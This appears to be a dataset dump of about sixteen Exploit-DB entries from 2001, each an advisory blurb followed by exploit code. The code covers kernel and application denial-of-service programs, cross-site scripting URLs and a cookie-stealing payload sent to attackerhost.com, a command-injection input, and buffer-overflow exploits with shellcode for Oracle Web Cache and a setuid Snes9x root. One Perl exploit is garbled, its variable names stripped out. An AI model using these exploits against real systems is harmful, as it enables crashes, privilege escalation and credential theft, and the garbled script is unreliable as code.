QLWD/code_shield huggingface dataset:
标题: OpenBSD 2.x/3.0 - User Mode Return Value Denial of Service EDB-ID: 21167 CVE: 2001-1559 类型: DOS 平台: OPENBSD 发布日期: 2001-12-03 漏洞利用脚本: // source: https://www.securityfocus.com/bid/3612/info

OpenBSD is a freely available implementation of the BSD Operating System. It is based on the NetBSD implementation.

Under some conditions, an application launched by a regular user on the system can cause a system crash. When an application on an OpenBSD system attempts to pipe a NULL value, a fault in the kernel causes the system to crash immediately.

This make it possible for a malicious local user to deny service to legitimate users of the system. 

/* obsd-crashme.c - by Marco Peereboom <marcodsl@swbell.net> */
/* December 03, 2001 */

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/wait.h>
#include <signal.h>
#include <stdarg.h>
#include <syslog.h>

/* globals */
int fd[8]; /* temp pipe file descriptors */
int fd_real[4]; /* real pipe's */

static int __DEBUG__  = 0;
static int __SYSLOG__  = 0;

void enable_debug(void)
{
         __DEBUG__ = 1;
}

void disable_debug(void)
{
         __DEBUG__ = 0;
}

void enable_syslog(void)
{
         __SYSLOG__ = 1;
}

void disable_syslog(void)
{
         __SYSLOG__ = 0;
}

void s_fprintf(FILE *file, const char *fmt, ...)
{
         va_list ap;

         if (__DEBUG__) {
                 fflush(file);

                 va_start(ap, fmt);
                 vfprintf(file, fmt, ap);
                 va_end(ap);

                 fflush(file);
         }

         if (__SYSLOG__) {
                 va_start(ap, fmt);
                 vsyslog(LOG_INFO, fmt, ap);
                 va_end(ap);
         }
}

void *s_malloc(size_t size)
{
         char serr[40]; /* can not allocate more mem so lets use this
ugly beast */
         void *p;

         if (__DEBUG__ || __SYSLOG__) {
                 s_fprintf(stderr, "PID=%-5i PPID=%-5i: malloc(%i)\n",
getpid(), getppid(), size);
         }

         if ((p = malloc(size)) == NULL ) {
                 sprintf(serr,"PID=%i, Could not allocate memory",
getpid());
                 perror(serr);
                 exit(6);
         }

         return p;
}

void s_perror(const char *str)
{
         char *buf;

         if (__DEBUG__ || __SYSLOG__) {
                 s_fprintf(stderr, "PID=%-5i PPID=%-5i: perror(%s)\n",
getpid(), getppid(), str);
         }

         buf = s_malloc(11 + strlen(str)); /* PID=%-5i = 11 chars */
         sprintf(buf, "PID=%-5i %s", getpid(), str);
         perror(buf);

         free(buf);
}

void s_pipe(int *fd)
{
         if (__DEBUG__ || __SYSLOG__) {
                 s_fprintf(stderr, "PID=%-5i PPID=%-5i: pipe(%x)\n",
getpid(), getppid(), (unsigned int)fd);
         }

         if (pipe(fd) == -1)
         {
                 s_perror("Could not create pipe");
                 exit(3);
         }
}

int main(int argc, char **argv)
{
         enable_debug();
         enable_syslog();

         fprintf(stderr, "Before pipe\n");
         s_pipe(NULL); /* test if s_pipe exits */
         fprintf(stderr, "Will never reach this\n");

         return 0;
} URL: https://www.exploit-db.com/exploits/21167
标题: Opera 5.0/5.1 - Same Origin Policy Circumvention EDB-ID: 21156 CVE: 2001-0898 类型: REMOTE 平台: WINDOWS 发布日期: 2001-11-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/3553/info

Opera is a popular, freely available web browser that is supported across many different platforms.

Opera is prone to an issue which may allow for the execution of script code across domains, allowing for circumvention of the web browser's security model. It is possible to construct malicious script code on a webpage, which when executed by Opera web browser, is able to affect another domain.

In short, Opera does not properly implement the "Same Origin Policy" enforced by other browsers.

The danger is that one website may be able to access the cookie-based authentication credentials of another website. 

-1.----------------------------------
a=window.open("http://mail.yahoo.com");
function f()
{
xx=a.document.cookie;
alert("hi"+xx);
a.document.open();
a.document.write("<h1>aa</h1><script>x=window.open('http://mail.yahoo.com');setTimeout('z=x.document.cookie;alert(z);',5000)</"+"script>");
a.document.close();
}
setTimeout("f()",5000);
----------------------------------- URL: https://www.exploit-db.com/exploits/21156
标题: PHP-Nuke Network Tool 0.2 Addon - MetaCharacter Filtering Command Execution EDB-ID: 21155 CVE: 2001-0899 类型: REMOTE 平台: PHP 发布日期: 2001-11-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/3552/info

Network Tool is a PHPNuke addon, written and maintained by Rick Fournier. It is designed to offer network features such as nmap, traceroute, and ping from a web interface.

A problem with the package has been discovered that could allow remote users to gain arbitrary access to restricted resources. The problem is in the filtering of metacharacters by the interface. A command passed to the modules in the suite could be encapsulated in metacharacters, and would result in the command being executed on the system with the permissions of the httpd process.

This makes it possible for a remote user to execute arbitrary commands, and potentially gain access to a vulnerable host. 

Asking the Php script for Pinging, Nmap, or traceroute this kind of adresse
<www.somehost.com;ls -al> will allow any user to run " ls -al " command as whatever user runs the web server. URL: https://www.exploit-db.com/exploits/21155
标题: PHP-Nuke 1.0/2.5/3.0/4.x/5.x/6.x/7.x - 'modules.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 21166 CVE: 2001-1524 类型: WEBAPPS 平台: PHP 发布日期: 2001-12-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/3609/info
 
PHPNuke is a website creation/maintenance tool.
 
PHPNuke is prone to cross-site scripting attacks. It is possible to create a link to the PHPNuke user information page, 'user.php', which contains malicious script code. When the link is clicked by an unsuspecting web user, the malicious script code will be executed on the user in the context of the site running PHPNuke.
 
This attack may be used to steal a user's cookie-based authentication credentials for the vulnerable PHPNuke site.
 
PostNuke is also affected by a number of these issues.
 
This problem has also been reported with other scripts included in the PHPNuke package. More specifically, modules.php, upload.php, friend.php and submit.php are also vulnerable under some circumstances. Different parameters to the user.php script may also be sufficient for a cross-site scripting attack.
 
An additional cross-site scripting vulnerability has been reported in modules.php for PostNuke.
 
**It has been reported that the cross-site scripting issue affecting the 'ttitle' parameter of 'modules.php' script has been re-introduced in newer versions of the PHPNuke application. This issue is reported to affect versions 7.2 and prior. 

http://phpnukesite/modules.php?op=modload&name=Downloads&file=index&req=viewdownloaddetails&lid=2&ttitle=%3Cscript%3Ealert(document.location)%3C/script%3E URL: https://www.exploit-db.com/exploits/21166
标题: ActivePerl 5.6.1 - 'perlIIS.dll' Remote Buffer Overflow (3) EDB-ID: 21154 CVE: 2001-0815 类型: REMOTE 平台: MULTIPLE 发布日期: 2001-11-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/3526/info
  
ActivePerl is an implementation of the Perl scripting language for Microsoft Windows systems developed by Activestate. ActivePerl allows for high-performance integration with IIS using a DLL called 'perlIIS.dll' to handle a '.plx' ISAPI extension.
  
perlIIS.dll contains a remotely exploitable buffer overflow vulnerability in handling of the URL string. It is due to an unbounded string copy operation.
  
All versions of ActivePerl prior to build 630 of ActivePerl 5.6.1 are believed to be vulnerable. This vulnerability requires that the option "Check that file exists" be disabled. This option is enabled by default.
  
Exploitation of this vulnerability may allow for remote attackers to gain access to the target server.

#!/usr/bin/perl -w

use IO::Socket;

 = "ActivePerl 5.6.1.629";

unless (@ARGV == 1) {
  print "\n Exploit by Sapient2003\n";
  die "usage: -bash <host to exploit>\n";
}
print "\n Exploit by Sapient2003\n";

 = "A" x 360;
 = "GET /.pl HTTP/1.0\n\n";

 = IO::Socket::INET->new(
        PeerAddr => [0],
        PeerPort => 80,
        Proto    => "tcp",
) or die "Can't find host [0]\n";
print  ;
print "Attempted to exploit [0]...\n";
close(); URL: https://www.exploit-db.com/exploits/21154
标题: Horde IMP 2.2.x - Session Hijacking EDB-ID: 21151 CVE: 2001-0857 类型: REMOTE 平台: LINUX 发布日期: 2001-11-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/3525/info

IMP is a powerful web-based mail interface/client developed by members of the Horde project.

Encoded HTML tags are not stripped from requests to access 'status.php3'. It is possible for a remote attacker to construct a link which when clicked will cause arbitrary script code to be executed in the browser of an unsuspecting user in the context of a site running Horde IMP.

As a result, it has been proven that this issue can be exploited to steal a legitimate user's cookie-based authentication credentials and gain unauthorized access to that user's webmail account. 

http://myimp.site.com/status.php3?message=%3Cscript%20language%3Djavascript
%3E%20document.write(%27%3Cimg%20src%3Dhttp%3A%2F%2Fattackerhost.co
m%2Fcookie.cgi%3Fcookie%3D%27%20%2B%20escape(document.cookie)%2B%
20%27%3E%27)%3B%3C%2Fscript%3E%0A URL: https://www.exploit-db.com/exploits/21151
标题: Microsoft Internet Explorer 5/6 - Cookie Disclosure/Modification EDB-ID: 21144 CVE: 2001-0722 类型: REMOTE 平台: WINDOWS 发布日期: 2001-11-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/3513/info

Internet Explorer contains a vulnerability, which could allow an attacker to construct a URL that would display or modify the cookie information associated with an arbitrary website.

If a URL is composed in the about: protocol referencing a website, Javascript embedded in the URL can access any cookies associated with that website via 'document.cookie'. The Javascript executes because of a cross-site scripting condition in the about: protocol. 

about://www.google.com/<script language=javascript>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/21144
标题: RedHat TUX 2.1.0-2 - HTTP Server Oversized Host Denial of Service EDB-ID: 21141 CVE: 2001-0852 类型: DOS 平台: LINUX 发布日期: 2001-11-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/3506/info

TUX is a kernel based HTTP server released under the GNU General Public License. It is able to serve static content, cache dynamic content, and coordinate with other HTTP servers to produce dynamic content.

An error exists when the TUX daemon received an oversized Host: header as part of a HTTP request. The request will result in an assertation failure and eventually in a kernel panic. At this point a system reboot will be required to regain normal functionality. 

perl -e "print qq(GET / HTTP/1.0\nAccept: */*\nHost: ) . qq(A) x 6000 .
qq(\n)" |nc <ip address> <dest_port> URL: https://www.exploit-db.com/exploits/21141
标题: Microsoft Windows NT/2000 - Terminal Server Service RDP Denial of Service EDB-ID: 21123 CVE: 2001-0663 类型: DOS 平台: WINDOWS 发布日期: 2001-10-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/3445/info


Due to a flaw in the implementation of RDP in Windows 2000/NT Terminal Server, it is possible for a remote user to cause a host to stop responding.

Sending malformed RDP packets to a host could cause a denial of services, potentially impacting the Terminal service and other applications running on the affected host.


https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21123.zip URL: https://www.exploit-db.com/exploits/21123
标题: Oracle9iAS Web Cache 2.0 - Remote Buffer Overflow EDB-ID: 21121 CVE: 2001-0836 类型: REMOTE 平台: WINDOWS 发布日期: 2001-10-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/3443/info

A buffer overflow condition can be triggered in Oracle 9iAS Web Cache 2.0.0.1.0 by submitting a malicious URL. This overflow can lead to either the process exiting, the process hanging, or the injection of malicious code. This occurs on all four services provided by Web Cache.

While this vulnerability has been addressed in Oracle 91AS Web Cache 2.0.0.2.0, it has been reported that versions for Microsoft Windows NT are still vulnerable.

#!perl
#########################################################################
#
# Proof-of-concept exploit for Oracle9iAS Web Cache/2.0.0.1.0
# Creates the file c:\defcom.iyd
# By andreas@defcom.com (C)2001
#
#
# Since we do not control the space after what ESP points to, I was lazy
# and did a direct buffer jump. So, if it does not work, try changing
# the return address(start of buffer in mem) to one that fits your system.
# The buffer starts at 0x05c5f1e8 on my box(WIN2K prof SP2).
# /andreas
#
#########################################################################
$ARGC=@ARGV;
if ($ARGC !=1) {
        print "Usage: $0 <host>\n";
        print "Example: $0 127.0.0.1\n";
        exit;
}
use Socket;

my($remote,$port,$iaddr,$paddr,$proto);
$remote=$ARGV[0];
$port = "1100"; # default port for the web cache

$iaddr = inet_aton($remote) or die "Error: $!";
$paddr = sockaddr_in($port, $iaddr) or die "Error: $!";
$proto = getprotobyname('tcp') or die "Error: $!";

socket(SOCK, PF_INET, SOCK_STREAM, $proto) or die "Error: $!";
connect(SOCK, $paddr) or die "Error: $!";

$sploit = "\xeb\x03\x5a\xeb\x05\xe8\xf8\xff\xff\xff\x8b\xec\x8b\xc2\x83\xc0\x18\x33\xc9";
$sploit=$sploit . "\x66\xb9\xb3\x80\x66\x81\xf1\x80\x80\x80\x30\x99\x40\xe2\xfa\xaa\x59";
$sploit=$sploit . "\xf1\x19\x99\x99\x99\xf3\x9b\xc9\xc9\xf1\x99\x99\x99\x89\x1a\x5b\xa4";
$sploit=$sploit . "\xcb\x27\x51\x99\xd5\x99\x66\x8f\xaa\x59\xc9\x27\x09\x98\xd5\x99\x66";
$sploit=$sploit . "\x8f\xfa\xa3\xc5\xfd\xfc\xff\xfa\xf6\xf4\xb7\xf0\xe0\xfd\x99";
$msg = "GET " . $sploit . "\x90" x (3096 - length($sploit)) . "\xe8\xf1\xc5\x05" . " HTTP/1.0\n\n";
print $msg;
send(SOCK, $msg, 0) or die "Cannot send query: $!";
sleep(1);
close(SOCK);
exit; URL: https://www.exploit-db.com/exploits/21121
标题: Linux Kernel 2.2/2.4 - Deep Symbolic Link Denial of Service EDB-ID: 21122 CVE: 2001-0907 类型: DOS 平台: LINUX 发布日期: 2001-10-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/3444/info

A denial-of-service vulnerability exists in several versions of the Linux kernel.

The problem occurs when a user with local access creates a long chain of symbolically linked files. When the kernel dereferences the symbolic links, the process scheduler is blocked, effecively locking the system until the dereferencing is complete. 

#!/bin/sh
# by Nergal
mklink()
{
IND=$1
NXT=$(($IND+1))
EL=l$NXT/../
P=""
I=0
while [ $I -lt $ELNUM ] ; do
        P=$P"$EL"
        I=$(($I+1))
done
ln -s "$P"l$2 l$IND
}

#main program

if [ $# != 1 ] ; then
 echo A numerical argument is required.
 exit 0
fi


ELNUM=$1

mklink 4
mklink 3
mklink 2
mklink 1
mklink 0 /../../../../../../../etc/services
mkdir l5
mkdir l URL: https://www.exploit-db.com/exploits/21122
标题: Linux Kernel 2.2/2.4 - Ptrace/Setuid Exec Privilege Escalation EDB-ID: 21124 CVE: 2001-1384 类型: LOCAL 平台: LINUX 发布日期: 2001-10-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/3447/info

Linux contains a vulnerability in it's exec() implementation that may allow for modification of setuid process memory via ptrace(). The vulnerability is due to the fact that it is possible for a traced process to exec() a setuid image if the tracing process is setuid.

Attackers can exploit this to elevate privileges.

Note: There are currently conflicting reports about the exploitability of this vulnerability.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21124.tgz URL: https://www.exploit-db.com/exploits/21124
标题: Microsoft Windows XP/2000 - GDI Denial of Service EDB-ID: 21131 CVE: 2001-1560 类型: DOS 平台: WINDOWS 发布日期: 2001-10-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/3481/info

The Windows Graphics Device Interface (GDI) is a set of Application Programming Interfaces (APIs) used to display graphical output.

A vulnerability exists which causes the GDI to invoke a Kernel Mode Exception due to a memory access error. This action will result in a system stop error (bluescreen). A reboot of the system will allow normal system recovery.

This condition may be due to an inability of the GDI API to handle requests with malformed or invalid arguments or flags.

#include <windows.h>

LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
        switch(message)
        {
        case WM_NCCREATE:
                {
                        ShowWindow(hwnd, SW_SHOW);
                }
                return TRUE;
        }
        return DefWindowProc(hwnd, message, wParam, lParam);
}


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
{
        HWINSTA ws = CreateWindowStation(NULL, 0, WINSTA_CREATEDESKTOP | GENERIC_ALL, NULL);
        SetProcessWindowStation(ws);
        HDESK dt = CreateDesktop("TEST", 0, 0, 0, DESKTOP_CREATEWINDOW | GENERIC_ALL | DESKTOP_CREATEMENU | DESKTOP_SWITCHDESKTOP | DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS, NULL); // no idea what access I actually need, I think this is just about everything
        SetThreadDesktop(dt);
        WNDCLASS wndclass = {0};
        wndclass.style = CS_HREDRAW  | CS_VREDRAW;
        wndclass.lpfnWndProc = WndProc;
        wndclass.hInstance = hInstance;
        wndclass.hIcon = LoadIcon(NULL, IDI_APPLICATION); // default icon
        wndclass.hCursor = LoadCursor(NULL, IDC_ARROW); // default cursor.  One or other (or both?) of these seem to be necessary.
        wndclass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
        wndclass.lpszMenuName = NULL;
        wndclass.lpszClassName = TEXT("Crash");
        RegisterClass(&wndclass);
        HWND hwnd = CreateWindowEx(WS_EX_TOOLWINDOW, TEXT("Crash"), TEXT("Crash"), WS_POPUP, 300, 300, 300, 445, NULL, NULL, hInstance, NULL);
        // NEVER GETS HERE.
        ShowWindow(hwnd, iCmdShow);
        UpdateWindow(hwnd);
        MSG msg;
        while(GetMessage(&msg, NULL, 0, 0))
        {
                TranslateMessage(&msg);
                DispatchMessage(&msg);
        }
        return msg.wParam;
} URL: https://www.exploit-db.com/exploits/21131
标题: Microsoft Internet Explorer 5/6 - JavaScript Interface Spoofing EDB-ID: 21127 CVE: 2001-1410 类型: REMOTE 平台: WINDOWS 发布日期: 2001-10-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/3469/info

It is reported that Microsoft Internet Explorer may permit aspects of the Internet Explorer interface to be spoofed. This could facilitate numerous attacks against users of the browser, including spoofing of both graphical components of the underlying operating system and overlaying browser components.

This misrepresentation may fool a user into taking dangerous actions. Users could then take further actions that compromise sensitive information based on this false sense of trust. 

var vuln_x, vuln_y, vuln_w, vuln_h;
function vuln_calc() {
var root= document[
(document.compatMode=='CSS1Compat') ?
'documentElement' : 'body'
];
vuln_x= window.screenLeft+72;
vuln_y= window.screenTop-20;
vuln_w= root.offsetWidth-520;
vuln_h= 17;
vuln_show();
}

var vuln_win;
function vuln_pop() {
vuln_win= window.createPopup();
vuln_win.document.body.innerHTML= vuln_html;
vuln_win.document.body.style.margin= 0;
vuln_win.document.body.onunload= vuln_pop;
vuln_show();
}

function vuln_show() {
if (vuln_win)
vuln_win.show(vuln_x, vuln_y, vuln_w, vuln_h);
}

var vuln_html= '\x3Cdiv style="height: 100%; line-height: 17px;
font-family: \'Tahoma\', sans-serif; font-size:
8pt;">https://<spoofed URI>\x3C/div>' URL: https://www.exploit-db.com/exploits/21127
标题: Snes9x 1.3 - Local Buffer Overflow EDB-ID: 21120 CVE: 2001-1015 类型: LOCAL 平台: UNIX 发布日期: 2001-10-16 漏洞利用脚本: // source: https://www.securityfocus.com/bid/3437/info

Snes9x is a free Super Nintendo emulator that runs on a number of platforms.

Snes9x is prone to a buffer overflow. This is due to improper bounds checking of rom names. In this case, 4089 characters are required to overwrite the EIP. If this buffer is overrun, it may be possible for a local attacker to execute arbitrary code on the host. This may be a security concern on some systems because Snes9x documentation suggests setting the utilities setuid root.

Successful exploitation will lead to a full compromise of the host.

It should be noted that packages distributed in SuSE Linux, NetBSD, OpenBSD, FreeBSD, Debian Linux and Progeny Linux are not installed setuid root by default so exploitation of the buffer overflow will not lead to a root compromise on these systems.

/*
 * snes9x local root exploit
 *
 * Tested on snes9x 1.3.7 + Redhat Linux 6.1
 * 2001/10/16 Creation morinosato
 */

#include <stdio.h>
#include <stdlib.h>

#define BUFSIZE 4089

char shellcode[]=
"\xeb\x29\x5e\x29\xc9\x89\xf3\x89\x5e\x08"
"\xb1\x07\x80\x03\x20\x43\xe0\xfa\x29\xc0"
"\x88\x46\x07\x89\x46\x0c\xb0\x0b\x87\xf3"
"\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x29\xc0"
"\x40\xcd\x80\xe8\xd2\xff\xff\xff\x0f\x42"
"\x49\x4e\x0f\x53\x48";

main(int argc, char **argv)
{
 char buf[BUFSIZE + 1];
 char writeaddr[8];
 char *arg[] = {"./snes9x",buf,0};
 int i;
 unsigned int addr;

 addr = (0xc0000000 - 4)
   - (sizeof("./snes9x"))
   - (sizeof(buf));

 *(unsigned int *)&writeaddr[0] = addr;
 memset(buf, 'A', BUFSIZE);

 for (i = 0; i < strlen(shellcode); i++)
  buf[i] = shellcode[i];

 buf[83] = writeaddr[0];
 buf[84] = writeaddr[1];
 buf[85] = writeaddr[2];
 buf[86] = writeaddr[3];

 buf[BUFSIZE] = 0;

 printf("jmp to [0x%08x]\n",writeaddr);
 execve(arg[0], arg, 0);
} URL: https://www.exploit-db.com/exploits/21120
标题: Microsoft Internet Explorer 5 - Zone Spoofing (MS01-055) EDB-ID: 21118 CVE: 2001-0664 类型: REMOTE 平台: WINDOWS 发布日期: 2001-10-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/3420/info

Microsoft Internet Explorer contains a security-setting feature that can be modified according to a user's preferences. These settings control what actions a web site can take on a user's system.

A vulnerability exists in Internet Explorer, which could allow a web site to be viewed in the Local Intranet Zone, rather than the Internet Zone. Thus, allowing content to be viewed with less-restrictive security settings.

Converting the IP address of the target web site into a dotless IP address, and submitting it, will cause Internet Explorer to view the web site in the Local Intranet zone.

* Microsoft Security Bulletin MS01-055 states that there is a new variant of this issue, although no technical details have been provided. A cumulative patch has been released and IE 5.5 users are encouraged to install it. 

Example:

An option in a basic authenticated site is to pass on a username (and/or
password) in the URL like this:

http://mike@msdn.microsoft.com

Another possibility is to convert an IP address into a dotless IP address;
such an address is also called a DWORD address (some proxy servers, routers
or web servers do not allow this).

http://msdn.microsoft.com - IP: 207.46.239.122

Convert this IP address to a DWORD address:

207 * 16777216 = 3472883712
46 * 65536 = 3014656
239 * 256 = 61184
122 * 1 = 122
------------------------------------------------ +
= 3475959674

This DWORD address can be used to visit the site like:

http://3475959674
If we combine the URL login option with the DWORD IP address we'll get the
following URL:

http://mike@3475959674

The browser still thinks we are in the internet zone as expected.

Now we change the @ sign to its ASCII equivalent (%40):


------------------------
http://mike%403475959674
------------------------ URL: https://www.exploit-db.com/exploits/21118